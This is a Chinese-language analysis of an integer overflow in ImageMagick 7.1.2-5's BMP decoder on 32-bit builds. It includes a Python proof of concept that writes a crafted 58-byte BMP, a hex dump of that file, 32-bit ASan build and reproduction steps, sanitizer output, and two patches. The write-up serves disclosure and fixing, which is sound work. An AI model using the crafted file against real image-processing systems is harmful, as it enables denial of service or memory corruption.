ImageMagick BMP解码器整数溢出漏洞分析

1
2
3
4
5
6
7
8
9

// 第1120行：整数溢出发生在此处
extent = image->columns * bmp_info.bits_per_pixel;  // 溢出！

// 第1121行：使用已溢出的值
bytes_per_line = 4*((extent+31)/32);

// 第1122行：检查结果，而不是乘法运算
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

extent = 536,870,912 × 32
       = 17,179,869,184 (0x400000000)

32位截断：
0x400000000 & 0xFFFFFFFF = 0x00000000 ← 溢出归零！

bytes_per_line = 4 × ((0 + 31) / 32)
               = 4 × 0
               = 0

BMPOverflowCheck(0, 1):
  return (1 != 0) && (0 > 4294967295UL/1)
  return True && (0 > 4294967295)
  return True && False
  return False ← 未检测到溢出！

1
2
3
4

00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

#!/usr/bin/env python3
import struct

width = 0x20000000   # 536,870,912
height = 1
bpp = 32

# BMP文件头（14字节）
file_header = b'BM'
file_header += struct.pack('<I', 58)      # 文件大小
file_header += struct.pack('<HH', 0, 0)   # 保留
file_header += struct.pack('<I', 54)      # 像素偏移

# DIB头（40字节）
dib_header = struct.pack('<I', 40)        # 头大小
dib_header += struct.pack('<i', width)    # 宽度
dib_header += struct.pack('<i', height)   # 高度
dib_header += struct.pack('<H', 1)        # 平面
dib_header += struct.pack('<H', bpp)      # BPP
dib_header += struct.pack('<I', 0)        # 压缩
dib_header += struct.pack('<I', 0)        # 图像大小
dib_header += struct.pack('<i', 2835)     # X ppm
dib_header += struct.pack('<i', 2835)     # Y ppm
dib_header += struct.pack('<I', 0)        # 颜色
dib_header += struct.pack('<I', 0)        # 重要颜色

pixel_data = b'\x00\x00\x00\x00'

with open('overflow.bmp', 'wb') as f:
    f.write(file_header + dib_header + pixel_data)

print(f"Created overflow.bmp (58 bytes)")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

# 使用32位Docker容器
docker run -it --name test-32bit i386/ubuntu:latest bash

# 安装依赖
apt-get update
apt-get install -y clang build-essential wget tar \
    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \
    zlib1g-dev liblzma-dev libbz2-dev

# 下载ImageMagick 7.1.2-5
cd /tmp
wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz
tar xzf 7.1.2-5.tar.gz
cd ImageMagick-7.1.2-5

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

# 配置32位构建（关键 - 必须是32位！）
./configure \
    --host=i686-pc-linux-gnu \
    --disable-dependency-tracking \
    --disable-silent-rules \
    --disable-shared \
    --disable-openmp \
    --disable-docs \
    --without-x \
    --without-perl \
    --without-magick-plus-plus \
    --without-lqr \
    --without-zstd \
    --without-tiff \
    --with-quantum-depth=8 \
    --disable-hdri \
    CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    LDFLAGS="-fsanitize=address,undefined"

make -j$(nproc)

1
2
3
4
5
6
7
8

# 设置环境以绕过cache.c限制
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1"
export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

# 使用恶意BMP测试（使用上面的Python脚本创建）
./utilities/magick identify overflow.bmp

1
2
3
4
5
6
7
8

==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 
"((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0)
=================================================================
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 
"((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0)
==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: 
stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)
False positive error reports may follow

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

// 在计算extent之前添加溢出检查
if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)
    ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");

// 现在可以安全计算
extent = image->columns * bmp_info.bits_per_pixel;
bytes_per_line = 4*((extent+31)/32);

// 额外的安全检查
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

1
2
3
4
5
6
7
8

// 强制64位计算
uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;

if (extent_64 > UINT32_MAX)
    ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");

extent = (size_t)extent_64;
bytes_per_line = 4*((extent+31)/32);